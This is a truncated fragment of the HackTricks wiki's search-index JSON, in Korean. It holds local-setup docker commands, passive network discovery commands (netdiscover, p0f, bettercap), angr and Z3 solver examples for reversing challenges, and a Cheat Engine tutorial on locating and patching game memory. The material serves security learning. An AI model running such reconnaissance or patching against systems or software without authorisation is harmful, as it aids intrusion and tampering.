breadcrumbs":8,"title":0},"9842":{"body":31,"breadcrumbs":11,"title":3},"9843":{"body":2,"breadcrumbs":11,"title":3},"9844":{"body":6,"breadcrumbs":10,"title":2},"9845":{"body":25,"breadcrumbs":12,"title":4},"9846":{"body":65,"breadcrumbs":12,"title":4},"9847":{"body":0,"breadcrumbs":8,"title":0},"9848":{"body":1,"breadcrumbs":9,"title":1},"9849":{"body":5,"breadcrumbs":9,"title":1},"985":{"body":1,"breadcrumbs":3,"title":1},"9850":{"body":0,"breadcrumbs":9,"title":1},"9851":{"body":107,"breadcrumbs":10,"title":2},"9852":{"body":2,"breadcrumbs":12,"title":4},"9853":{"body":35,"breadcrumbs":12,"title":4},"9854":{"body":35,"breadcrumbs":8,"title":2},"9855":{"body":6,"breadcrumbs":7,"title":1},"9856":{"body":38,"breadcrumbs":8,"title":2},"9857":{"body":26,"breadcrumbs":9,"title":3},"9858":{"body":105,"breadcrumbs":8,"title":2},"9859":{"body":36,"breadcrumbs":7,"title":1},"986":{"body":12,"breadcrumbs":2,"title":0},"9860":{"body":35,"breadcrumbs":8,"title":1},"9861":{"body":3,"breadcrumbs":7,"title":0},"9862":{"body":2,"breadcrumbs":7,"title":0},"9863":{"body":1,"breadcrumbs":7,"title":0},"9864":{"body":160,"breadcrumbs":7,"title":0},"9865":{"body":350,"breadcrumbs":7,"title":0},"9866":{"body":0,"breadcrumbs":9,"title":2},"9867":{"body":50,"breadcrumbs":8,"title":1},"9868":{"body":35,"breadcrumbs":10,"title":3},"9869":{"body":4,"breadcrumbs":9,"title":2},"987":{"body":0,"breadcrumbs":2,"title":0},"9870":{"body":23,"breadcrumbs":9,"title":2},"9871":{"body":78,"breadcrumbs":10,"title":3},"9872":{"body":41,"breadcrumbs":7,"title":0},"9873":{"body":0,"breadcrumbs":7,"title":0},"9874":{"body":0,"breadcrumbs":7,"title":0},"9875":{"body":5,"breadcrumbs":7,"title":0},"9876":{"body":22,"breadcrumbs":7,"title":0},"9877":{"body":80,"breadcrumbs":7,"title":0},"9878":{"body":36,"breadcrumbs":8,"title":1},"9879":{"body":35,"breadcrumbs":10,"title":3},"988":{"body":4,"breadcrumbs":3,"title":1},"9880":{"body":39,"breadcrumbs":13,"title":6},"9881":{"body":88,"breadcrumbs":10,"title":3},"9882":{"body":34,"breadcrumbs":10,"title":3},"9883":{"body":131,"breadcrumbs":13,"title":6},"9884":{"body":37,"breadcrumbs":9,"title":2},"9885":{"body":126,"breadcrumbs":11,"title":4},"9886":{"body":92,"breadcrumbs":9,"title":2},"9887":{"body":1,"breadcrumbs":7,"title":0},"9888":{"body":17,"breadcrumbs":7,"title":0},"9889":{"body":8,"breadcrumbs":7,"title":0},"989":{"body":9,"breadcrumbs":5,"title":3},"9890":{"body":166,"breadcrumbs":7,"title":0},"9891":{"body":3,"breadcrumbs":13,"title":6},"9892":{"body":235,"breadcrumbs":7,"title":0},"9893":{"body":36,"breadcrumbs":8,"title":1},"9894":{"body":35,"breadcrumbs":10,"title":3},"9895":{"body":37,"breadcrumbs":9,"title":2},"9896":{"body":440,"breadcrumbs":9,"title":2},"9897":{"body":29,"breadcrumbs":8,"title":1},"9898":{"body":69,"breadcrumbs":8,"title":1},"9899":{"body":4,"breadcrumbs":7,"title":0},"99":{"body":2,"breadcrumbs":3,"title":1},"990":{"body":34,"breadcrumbs":6,"title":4},"9900":{"body":70,"breadcrumbs":7,"title":0},"9901":{"body":127,"breadcrumbs":9,"title":2},"9902":{"body":144,"breadcrumbs":8,"title":1},"9903":{"body":48,"breadcrumbs":7,"title":0},"9904":{"body":208,"breadcrumbs":7,"title":0},"9905":{"body":121,"breadcrumbs":9,"title":2},"9906":{"body":36,"breadcrumbs":8,"title":1},"9907":{"body":35,"breadcrumbs":14,"title":5},"9908":{"body":2,"breadcrumbs":11,"title":2},"9909":{"body":24,"breadcrumbs":11,"title":2},"991":{"body":35,"breadcrumbs":2,"title":0},"9910":{"body":1120,"breadcrumbs":12,"title":3},"9911":{"body":31,"breadcrumbs":13,"title":4},"9912":{"body":168,"breadcrumbs":9,"title":0},"9913":{"body":74,"breadcrumbs":11,"title":2},"9914":{"body":37,"breadcrumbs":9,"title":0},"9915":{"body":68,"breadcrumbs":11,"title":2},"9916":{"body":54,"breadcrumbs":9,"title":0},"9917":{"body":194,"breadcrumbs":11,"title":2},"9918":{"body":41,"breadcrumbs":11,"title":2},"9919":{"body":84,"breadcrumbs":12,"title":3},"992":{"body":3,"breadcrumbs":2,"title":0},"9920":{"body":52,"breadcrumbs":9,"title":0},"9921":{"body":18,"breadcrumbs":10,"title":1},"9922":{"body":36,"breadcrumbs":9,"title":0},"9923":{"body":35,"breadcrumbs":11,"title":2},"9924":{"body":117,"breadcrumbs":10,"title":1},"9925":{"body":36,"breadcrumbs":10,"title":1},"9926":{"body":35,"breadcrumbs":12,"title":4},"9927":{"body":12,"breadcrumbs":8,"title":0},"9928":{"body":0,"breadcrumbs":11,"title":3},"9929":{"body":17,"breadcrumbs":11,"title":3},"993":{"body":0,"breadcrumbs":2,"title":0},"9930":{"body":2,"breadcrumbs":10,"title":2},"9931":{"body":4,"breadcrumbs":10,"title":2},"9932":{"body":21,"breadcrumbs":10,"title":2},"9933":{"body":32,"breadcrumbs":8,"title":0},"9934":{"body":74,"breadcrumbs":11,"title":3},"9935":{"body":7,"breadcrumbs":9,"title":1},"9936":{"body":36,"breadcrumbs":8,"title":0},"9937":{"body":36,"breadcrumbs":10,"title":1},"9938":{"body":93,"breadcrumbs":9,"title":0},"9939":{"body":14,"breadcrumbs":9,"title":0},"994":{"body":0,"breadcrumbs":2,"title":0},"9940":{"body":2,"breadcrumbs":10,"title":1},"9941":{"body":33,"breadcrumbs":9,"title":0},"9942":{"body":4,"breadcrumbs":9,"title":0},"9943":{"body":36,"breadcrumbs":9,"title":0},"9944":{"body":35,"breadcrumbs":8,"title":4},"9945":{"body":2,"breadcrumbs":5,"title":1},"9946":{"body":10,"breadcrumbs":6,"title":2},"9947":{"body":0,"breadcrumbs":5,"title":1},"9948":{"body":10,"breadcrumbs":5,"title":1},"9949":{"body":6,"breadcrumbs":6,"title":2},"995":{"body":0,"breadcrumbs":2,"title":0},"9950":{"body":11,"breadcrumbs":6,"title":2},"9951":{"body":10,"breadcrumbs":5,"title":1},"9952":{"body":48,"breadcrumbs":5,"title":1},"9953":{"body":4,"breadcrumbs":5,"title":1},"9954":{"body":0,"breadcrumbs":5,"title":1},"9955":{"body":14,"breadcrumbs":5,"title":1},"9956":{"body":23,"breadcrumbs":5,"title":1},"9957":{"body":11,"breadcrumbs":5,"title":1},"9958":{"body":23,"breadcrumbs":6,"title":2},"9959":{"body":0,"breadcrumbs":4,"title":0},"996":{"body":1,"breadcrumbs":2,"title":0},"9960":{"body":12,"breadcrumbs":5,"title":1},"9961":{"body":4,"breadcrumbs":5,"title":1},"9962":{"body":7,"breadcrumbs":5,"title":1},"9963":{"body":67,"breadcrumbs":4,"title":0},"9964":{"body":1,"breadcrumbs":5,"title":1},"9965":{"body":35,"breadcrumbs":5,"title":1},"9966":{"body":2,"breadcrumbs":5,"title":1},"9967":{"body":9,"breadcrumbs":5,"title":1},"9968":{"body":5,"breadcrumbs":5,"title":1},"9969":{"body":9,"breadcrumbs":6,"title":2},"997":{"body":0,"breadcrumbs":2,"title":0},"9970":{"body":144,"breadcrumbs":8,"title":4},"9971":{"body":1,"breadcrumbs":6,"title":2},"9972":{"body":33,"breadcrumbs":5,"title":1},"9973":{"body":58,"breadcrumbs":5,"title":0},"9974":{"body":47,"breadcrumbs":5,"title":0},"9975":{"body":0,"breadcrumbs":5,"title":0},"9976":{"body":72,"breadcrumbs":5,"title":0},"9977":{"body":89,"breadcrumbs":5,"title":0},"9978":{"body":42,"breadcrumbs":5,"title":0},"9979":{"body":30,"breadcrumbs":5,"title":0},"998":{"body":0,"breadcrumbs":2,"title":0},"9980":{"body":0,"breadcrumbs":5,"title":0},"9981":{"body":71,"breadcrumbs":5,"title":0},"9982":{"body":21,"breadcrumbs":5,"title":0},"9983":{"body":32,"breadcrumbs":5,"title":0},"9984":{"body":142,"breadcrumbs":5,"title":0},"9985":{"body":28,"breadcrumbs":5,"title":0},"9986":{"body":31,"breadcrumbs":5,"title":0},"9987":{"body":42,"breadcrumbs":9,"title":2},"9988":{"body":56,"breadcrumbs":7,"title":0},"9989":{"body":59,"breadcrumbs":7,"title":0},"999":{"body":0,"breadcrumbs":2,"title":0},"9990":{"body":140,"breadcrumbs":7,"title":0},"9991":{"body":158,"breadcrumbs":7,"title":0},"9992":{"body":119,"breadcrumbs":7,"title":0},"9993":{"body":119,"breadcrumbs":8,"title":1},"9994":{"body":133,"breadcrumbs":7,"title":0},"9995":{"body":151,"breadcrumbs":7,"title":0},"9996":{"body":56,"breadcrumbs":7,"title":0},"9997":{"body":144,"breadcrumbs":7,"title":0},"9998":{"body":155,"breadcrumbs":8,"title":1},"9999":{"body":134,"breadcrumbs":8,"title":1}},"docs":{"0":{"body":"Reading time: 7 minutes Hacktricks 로고 및 모션 디자인 @ppieranacho .","breadcrumbs":"HackTricks » HackTricks","id":"0","title":"HackTricks"},"1":{"body":"bash # Download latest version of hacktricks\\ngit clone https://github.com/HackTricks-wiki/hacktricks # Select the language you want to use\\nexport LANG=\\"master\\" # Leave master for english\\n# \\"af\\" for Afrikaans\\n# \\"de\\" for German\\n# \\"el\\" for Greek\\n# \\"es\\" for Spanish\\n# \\"fr\\" for French\\n# \\"hi\\" for HindiP\\n# \\"it\\" for Italian\\n# \\"ja\\" for Japanese\\n# \\"ko\\" for Korean\\n# \\"pl\\" for Polish\\n# \\"pt\\" for Portuguese\\n# \\"sr\\" for Serbian\\n# \\"sw\\" for Swahili\\n# \\"tr\\" for Turkish\\n# \\"uk\\" for Ukrainian\\n# \\"zh\\" for Chinese # Run the docker container indicating the path to the hacktricks folder\\ndocker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c \\"mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0\\" 당신의 로컬 HackTricks 복사본은 <5분 후에 http://localhost:3337 사용 가능할 것입니다 (책을 빌드해야 하므로, 인내심을 가지세요).","breadcrumbs":"HackTricks » HackTricks를 로컬에서 실행하기","id":"1","title":"HackTricks를 로컬에서 실행하기"},"10":{"body":"취약점 연구, 침투 테스트 및 리버스 엔지니어링을 수행하여 모바일 애플리케이션과 장치를 보호하는 데 필요한 기술과 기술을 배우세요. 온디맨드 과정 을 통해 iOS 및 Android 보안을 마스터 하고 인증을 받으세요 : On-demand Mobile Security Training | 8kSec Academy","breadcrumbs":"HackTricks » 8kSec Academy – 심층 모바일 보안 과정","id":"10","title":"8kSec Academy – 심층 모바일 보안 과정"},"100":{"body":"연결된 네트워크 내부에서 hosts를 수동적으로 발견하기 위해 다음 도구들을 사용할 수 있습니다: bash netdiscover -p\\np0f -i eth0 -p -o /tmp/p0f.log\\n# Bettercap\\nnet.recon on/off #Read local ARP cache periodically\\nnet.show\\nset net.show.meta true #more info","breadcrumbs":"Pentesting Network » 수동","id":"100","title":"수동"},"1000":{"body":"복잡성으로 인해 서로 다른 사용자의 입력이 단일 거래에 결합되는 경우는 일반적으로 드뭅니다. 따라서 같은 거래의 두 입력 주소는 종종 동일한 소유자에게 속한다고 가정됩니다 .","breadcrumbs":"Blockchain & Crypto » 공통 입력 소유권 가정","id":"1000","title":"공통 입력 소유권 가정"},"10000":{"body":"python # This challenge is the exact same as the first challenge, except that it was\\n# compiled as a static binary. Normally, Angr automatically replaces standard\\n# library functions with SimProcedures that work much more quickly.\\n#\\n# To solve the challenge, manually hook any standard library c functions that\\n# are used. Then, ensure that you begin the execution at the beginning of the\\n# main function. Do not use entry_state.\\n#\\n# Here are a few SimProcedures Angr has already written for you. They implement\\n# standard library functions. You will not need all of them:\\n# angr.SIM_PROCEDURES[\'libc\'][\'malloc\']\\n# angr.SIM_PROCEDURES[\'libc\'][\'fopen\']\\n# angr.SIM_PROCEDURES[\'libc\'][\'fclose\']\\n# angr.SIM_PROCEDURES[\'libc\'][\'fwrite\']\\n# angr.SIM_PROCEDURES[\'libc\'][\'getchar\']\\n# angr.SIM_PROCEDURES[\'libc\'][\'strncmp\']\\n# angr.SIM_PROCEDURES[\'libc\'][\'strcmp\']\\n# angr.SIM_PROCEDURES[\'libc\'][\'scanf\']\\n# angr.SIM_PROCEDURES[\'libc\'][\'printf\']\\n# angr.SIM_PROCEDURES[\'libc\'][\'puts\']\\n# angr.SIM_PROCEDURES[\'libc\'][\'exit\']\\n#\\n# As a reminder, you can hook functions with something similar to:\\n# project.hook(malloc_address, angr.SIM_PROCEDURES[\'libc\'][\'malloc\']())\\n#\\n# There are many more, see:\\n# https://github.com/angr/angr/tree/master/angr/procedures/libc import angr\\nimport sys def main(argv):\\npath_to_binary = argv[1]\\nproject = angr.Project(path_to_binary) initial_state = project.factory.entry_state() #Find the addresses were the lib functions are loaded in the binary\\n#For example you could find: call 0x804ed80 <__isoc99_scanf>\\nproject.hook(0x804ed40, angr.SIM_PROCEDURES[\'libc\'][\'printf\']())\\nproject.hook(0x804ed80, angr.SIM_PROCEDURES[\'libc\'][\'scanf\']())\\nproject.hook(0x804f350, angr.SIM_PROCEDURES[\'libc\'][\'puts\']())\\nproject.hook(0x8048d10, angr.SIM_PROCEDURES[\'glibc\'][\'__libc_start_main\']()) simulation = project.factory.simgr(initial_state) def is_successful(state):\\nstdout_output = state.posix.dumps(sys.stdout.fileno())\\nreturn \'Good Job.\'.encode() in stdout_output # :boolean def should_abort(state):\\nstdout_output = state.posix.dumps(sys.stdout.fileno())\\nreturn \'Try again.\'.encode() in stdout_output # :boolean simulation.explore(find=is_successful, avoid=should_abort) if simulation.found:\\nsolution_state = simulation.found[0]\\nprint(solution_state.posix.dumps(sys.stdin.fileno()).decode())\\nelse:\\nraise Exception(\'Could not find the solution\') if __name__ == \'__main__\':\\nmain(sys.argv) tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Reversing Tools & Basic Methods » Angr » Angr - Examples » 정적 바이너리","id":"10000","title":"정적 바이너리"},"10001":{"body":"tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. 기본적으로 이 도구는 특정 조건을 만족해야 하는 변수의 값을 찾는 데 도움을 줄 것이며, 수작업으로 계산하는 것은 매우 번거로울 것입니다. 따라서 Z3에 변수가 만족해야 하는 조건을 지정하면 가능한 경우 일부 값을 찾아냅니다. 일부 텍스트와 예시는 https://ericpony.github.io/z3py-tutorial/guide-examples.htm 에서 추출되었습니다.","breadcrumbs":"Reversing Tools & Basic Methods » Z3 - Satisfiability Modulo Theories (SMT) » 기본 작업","id":"10001","title":"기본 작업"},"10002":{"body":"python #pip3 install z3-solver\\nfrom z3 import *\\ns = Solver() #The solver will be given the conditions x = Bool(\\"x\\") #Declare the symbos x, y and z\\ny = Bool(\\"y\\")\\nz = Bool(\\"z\\") # (x or y or !z) and y\\ns.add(And(Or(x,y,Not(z)),y))\\ns.check() #If response is \\"sat\\" then the model is satifable, if \\"unsat\\" something is wrong\\nprint(s.model()) #Print valid values to satisfy the model","breadcrumbs":"Reversing Tools & Basic Methods » Z3 - Satisfiability Modulo Theories (SMT) » 불리언/그리고/또는/아니오","id":"10002","title":"불리언/그리고/또는/아니오"},"10003":{"body":"python from z3 import * x = Int(\'x\')\\ny = Int(\'y\')\\n#Simplify a \\"complex\\" ecuation\\nprint(simplify(And(x + 1 >= 3, x**2 + x**2 + y**2 + 2 >= 5)))\\n#And(x >= 2, 2*x**2 + y**2 >= 3) #Note that Z3 is capable to treat irrational numbers (An irrational algebraic number is a root of a polynomial with integer coefficients. Internally, Z3 represents all these numbers precisely.)\\n#so you can get the decimals you need from the solution\\nr1 = Real(\'r1\')\\nr2 = Real(\'r2\')\\n#Solve the ecuation\\nprint(solve(r1**2 + r2**2 == 3, r1**3 == 2))\\n#Solve the ecuation with 30 decimals\\nset_option(precision=30)\\nprint(solve(r1**2 + r2**2 == 3, r1**3 == 2))","breadcrumbs":"Reversing Tools & Basic Methods » Z3 - Satisfiability Modulo Theories (SMT) » Ints/Simplify/Reals","id":"10003","title":"Ints/Simplify/Reals"},"10004":{"body":"python from z3 import * x, y, z = Reals(\'x y z\')\\ns = Solver()\\ns.add(x > 1, y > 1, x + y > 3, z - x < 10)\\ns.check() m = s.model()\\nprint (\\"x = %s\\" % m[x])\\nfor d in m.decls():\\nprint(\\"%s = %s\\" % (d.name(), m[d]))","breadcrumbs":"Reversing Tools & Basic Methods » Z3 - Satisfiability Modulo Theories (SMT) » 모델 출력","id":"10004","title":"모델 출력"},"10005":{"body":"현대 CPU와 주류 프로그래밍 언어는 고정 크기 비트 벡터 에 대한 산술을 사용합니다. 머신 산술은 Z3Py에서 비트 벡터 로 제공됩니다. python from z3 import * x = BitVec(\'x\', 16) #Bit vector variable \\"x\\" of length 16 bit\\ny = BitVec(\'y\', 16) e = BitVecVal(10, 16) #Bit vector with value 10 of length 16bits\\na = BitVecVal(-1, 16)\\nb = BitVecVal(65535, 16)\\nprint(simplify(a == b)) #This is True!\\na = BitVecVal(-1, 32)\\nb = BitVecVal(65535, 32)\\nprint(simplify(a == b)) #This is False","breadcrumbs":"Reversing Tools & Basic Methods » Z3 - Satisfiability Modulo Theories (SMT) » 머신 산술","id":"10005","title":"머신 산술"},"10006":{"body":"Z3는 비트 벡터가 부호가 있는지 없는지 에 따라 차이가 나는 특별한 부호 있는 버전의 산술 연산을 제공합니다. Z3Py에서 연산자 **<, <=, >, >=, /, % 및 >>**는 부호 있는 버전에 해당합니다. 해당하는 부호 없는 연산자는 **ULT, ULE, UGT, UGE, UDiv, URem 및 LShR.**입니다. python from z3 import * # Create to bit-vectors of size 32\\nx, y = BitVecs(\'x y\', 32)\\nsolve(x + y == 2, x > 0, y > 0) # Bit-wise operators\\n# & bit-wise and\\n# | bit-wise or\\n# ~ bit-wise not\\nsolve(x & y == ~y)\\nsolve(x < 0) # using unsigned version of <\\nsolve(ULT(x, 0))","breadcrumbs":"Reversing Tools & Basic Methods » Z3 - Satisfiability Modulo Theories (SMT) » Signed/Unsigned Numbers","id":"10006","title":"Signed/Unsigned Numbers"},"10007":{"body":"해석된 함수 는 산술과 같은 것으로, **함수 +**는 고정된 표준 해석 을 가지고 있습니다(두 숫자를 더합니다). 비해석 함수 와 상수는 최대 유연성 을 가지며, 이는 함수나 상수에 대한 제약 과 일관된 모든 해석 을 허용합니다. 예: f가 x에 두 번 적용되면 다시 x가 되지만, f가 x에 한 번 적용되면 x와 다릅니다. python from z3 import * x = Int(\'x\')\\ny = Int(\'y\')\\nf = Function(\'f\', IntSort(), IntSort())\\ns = Solver()\\ns.add(f(f(x)) == x, f(x) == y, x != y)\\ns.check()\\nm = s.model()\\nprint(\\"f(f(x)) =\\", m.evaluate(f(f(x))))\\nprint(\\"f(x) =\\", m.evaluate(f(x))) print(m.evaluate(f(2)))\\ns.add(f(x) == 4) #Find the value that generates 4 as response\\ns.check()\\nprint(m.model())","breadcrumbs":"Reversing Tools & Basic Methods » Z3 - Satisfiability Modulo Theories (SMT) » Functions","id":"10007","title":"Functions"},"10008":{"body":"","breadcrumbs":"Reversing Tools & Basic Methods » Z3 - Satisfiability Modulo Theories (SMT) » 예제","id":"10008","title":"예제"},"10009":{"body":"python # 9x9 matrix of integer variables\\nX = [ [ Int(\\"x_%s_%s\\" % (i+1, j+1)) for j in range(9) ]\\nfor i in range(9) ] # each cell contains a value in {1, ..., 9}\\ncells_c = [ And(1 <= X[i][j], X[i][j] <= 9)\\nfor i in range(9) for j in range(9) ] # each row contains a digit at most once\\nrows_c = [ Distinct(X[i]) for i in range(9) ] # each column contains a digit at most once\\ncols_c = [ Distinct([ X[i][j] for i in range(9) ])\\nfor j in range(9) ] # each 3x3 square contains a digit at most once\\nsq_c = [ Distinct([ X[3*i0 + i][3*j0 + j]\\nfor i in range(3) for j in range(3) ])\\nfor i0 in range(3) for j0 in range(3) ] sudoku_c = cells_c + rows_c + cols_c + sq_c # sudoku instance, we use \'0\' for empty cells\\ninstance = ((0,0,0,0,9,4,0,3,0),\\n(0,0,0,5,1,0,0,0,7),\\n(0,8,9,0,0,0,0,4,0),\\n(0,0,0,0,0,0,2,0,8),\\n(0,6,0,2,0,1,0,5,0),\\n(1,0,2,0,0,0,0,0,0),\\n(0,7,0,0,0,0,5,2,0),\\n(9,0,0,0,6,5,0,0,0),\\n(0,4,0,9,7,0,0,0,0)) instance_c = [ If(instance[i][j] == 0,\\nTrue,\\nX[i][j] == instance[i][j])\\nfor i in range(9) for j in range(9) ] s = Solver()\\ns.add(sudoku_c + instance_c)\\nif s.check() == sat:\\nm = s.model()\\nr = [ [ m.evaluate(X[i][j]) for j in range(9) ]\\nfor i in range(9) ]\\nprint_matrix(r)\\nelse:\\nprint \\"failed to solve\\"","breadcrumbs":"Reversing Tools & Basic Methods » Z3 - Satisfiability Modulo Theories (SMT) » 스도쿠 해결기","id":"10009","title":"스도쿠 해결기"},"1001":{"body":"UTXO, 즉 사용되지 않은 거래 출력 은 거래에서 완전히 소진되어야 합니다. 일부만 다른 주소로 전송되면 나머지는 새로운 변경 주소로 가게 됩니다. 관찰자는 이 새로운 주소가 발신자에게 속한다고 가정하여 프라이버시를 침해할 수 있습니다.","breadcrumbs":"Blockchain & Crypto » UTXO 변경 주소 탐지","id":"1001","title":"UTXO 변경 주소 탐지"},"10010":{"body":"https://ericpony.github.io/z3py-tutorial/guide-examples.htm tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Reversing Tools & Basic Methods » Z3 - Satisfiability Modulo Theories (SMT) » 참고문헌","id":"10010","title":"참고문헌"},"10011":{"body":"Reading time: 9 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요. Cheat Engine 는 실행 중인 게임의 메모리 내에서 중요한 값이 저장된 위치를 찾고 이를 변경하는 데 유용한 프로그램입니다. 다운로드하고 실행하면 도구 사용 방법에 대한 튜토리얼 이 제공 됩니다. 도구 사용법을 배우고 싶다면 이를 완료하는 것이 강력히 권장됩니다.","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » Cheat Engine","id":"10011","title":"Cheat Engine"},"10012":{"body":"이 도구는 프로그램의 메모리 내에서 어떤 값 (보통 숫자)이 저장된 위치 를 찾는 데 매우 유용합니다. 보통 숫자 는 4바이트 형식으로 저장되지만, double 또는 float 형식으로도 찾을 수 있으며, 숫자와 다른 것 을 찾고 싶을 수도 있습니다. 그러므로 검색할 항목 을 선택 해야 합니다: 또한 다양한 유형의 검색 을 지정할 수 있습니다: 메모리를 스캔하는 동안 게임을 중지 하도록 체크할 수도 있습니다:","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » 무엇을 검색하고 있나요?","id":"10012","title":"무엇을 검색하고 있나요?"},"10013":{"body":"_ Edit --> Settings --> Hotkeys _에서 게임 을 중지 하는 것과 같은 다양한 목적을 위한 핫키 를 설정할 수 있습니다(메모리를 스캔하고 싶을 때 유용합니다). 다른 옵션도 제공됩니다:","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » 핫키","id":"10013","title":"핫키"},"10014":{"body":"원하는 값 의 위치 를 찾은 후(다음 단계에서 더 자세히 설명) 더블 클릭하여 수정 할 수 있습니다. 그런 다음 그 값을 다시 더블 클릭합니다: 마지막으로 메모리에서 수정이 완료되도록 체크 표시 를 합니다: 메모리 에 대한 변경 은 즉시 적용 됩니다(게임이 이 값을 다시 사용하기 전까지는 값이 게임에서 업데이트되지 않음을 주의하세요 ).","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » 값 수정하기","id":"10014","title":"값 수정하기"},"10015":{"body":"따라서, 개선하고 싶은 중요한 값(예: 사용자 생명)이 있다고 가정하고 이 값을 메모리에서 찾고 있다고 가정해 보겠습니다.","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » 값 검색하기","id":"10015","title":"값 검색하기"},"10016":{"body":"값 100을 찾고 있다고 가정하고, 해당 값을 검색하는 스캔을 수행 하면 많은 일치 항목을 찾습니다: 그런 다음 값이 변경되도록 무언가를 하고, 게임을 중지 하고 다음 스캔 을 수행합니다: Cheat Engine은 100에서 새로운 값으로 변경된 값 을 검색합니다. 축하합니다, 이제 찾고 있던 값의 주소 를 찾았습니다 , 이제 이를 수정할 수 있습니다. 여전히 여러 값이 남아 있다면, 그 값을 다시 수정하는 작업을 수행하고 또 다른 \\"다음 스캔\\"을 수행하여 주소를 필터링하세요.","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » 알려진 변경을 통한 검색","id":"10016","title":"알려진 변경을 통한 검색"},"10017":{"body":"값을 모르지만 변경하는 방법 (변경의 값 포함)을 알고 있는 경우, 숫자를 찾을 수 있습니다. 먼저 \\" 알 수 없는 초기 값 \\" 유형의 스캔을 수행합니다: 그런 다음 값이 변경되도록 하고, 값이 어떻게 변경되었는지 (제 경우에는 1 감소됨)를 지정하고 다음 스캔 을 수행합니다: 선택한 방식으로 수정된 모든 값 이 표시됩니다: 값을 찾으면 이를 수정할 수 있습니다. 결과를 필터링하기 위해 이 단계를 원하는 만큼 수행할 수 있다는 점에 유의하세요:","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » 알 수 없는 값, 알려진 변경","id":"10017","title":"알 수 없는 값, 알려진 변경"},"10018":{"body":"지금까지 우리는 값을 저장하는 주소를 찾는 방법을 배웠지만, 게임의 다른 실행에서 그 주소가 메모리의 다른 위치에 있을 가능성이 높습니다 . 따라서 항상 그 주소를 찾는 방법을 알아봅시다. 언급된 몇 가지 요령을 사용하여 현재 게임이 중요한 값을 저장하는 주소를 찾습니다. 그런 다음(원하는 경우 게임을 중지하고) 찾은 주소 에서 우클릭 하고 \\" 이 주소에 접근하는 것을 찾기 \\" 또는 \\" 이 주소에 쓰는 것을 찾기 \\"를 선택합니다: 첫 번째 옵션 은 이 주소 를 **사용하는 코드의 부분 을 아는 데 유용합니다(게임의 코드를 수정할 수 있는 위치를 아는 데 유용합니다). 두 번째 옵션 은 더 구체적 이며, 이 경우 값이 어디에서 쓰이는지 아는 데 더 도움이 됩니다. 이 옵션 중 하나를 선택하면 디버거 가 프로그램에 첨부 되고 새로운 빈 창 이 나타납니다. 이제 게임을 플레이 하고 값을 수정 합니다(게임을 재시작하지 않고). 창 은 값을 수정하는 주소 로 채워져야 합니다: 이제 값을 수정하는 주소를 찾았으므로 코드를 마음대로 수정 할 수 있습니다(Cheat Engine을 사용하면 NOPs로 빠르게 수정할 수 있습니다): 따라서 이제 코드를 수정하여 숫자에 영향을 주지 않거나 항상 긍정적인 방식으로 영향을 줄 수 있습니다.","breadcrumbs":"Reversing Tools & Basic Methods » Cheat Engine » 랜덤 메모리 주소 - 코드 찾기","id":"10018","title":"랜덤 메모리 주소 - 코드 찾기"},"10019":{"body":"이전 단계를 따라 관심 있는 값이 있는 위치를 찾습니다. 그런 다음, \\" 이 주소에 쓰는 것을 찾기 \\"를 사용하여 이 값을 쓰는 주소를 찾아 더블 클릭하여 디스어셈블리 뷰를 얻습니다: 그런 다음 \\"[]\\" 사이의 헥스 값을 검색하는 새로운 스캔을 수행합니다 (이 경우 $edx의 값): ( 여러 개가 나타나면 보통 가장 작은 주소가 필요합니다 ) 이제 우리가 관심 있는 값을 수정할 포인터를 찾았습니다 . \\" 주소 수동 추가 \\"를 클릭합니다: 이제 \\"포인터\\" 체크 박스를 클릭하고 텍스트 상자에 찾은 주소를 추가합니다(이 시나리오에서 이전 이미지에서 찾은 주소는 \\"Tutorial-i386.exe\\"+2426B0입니다): 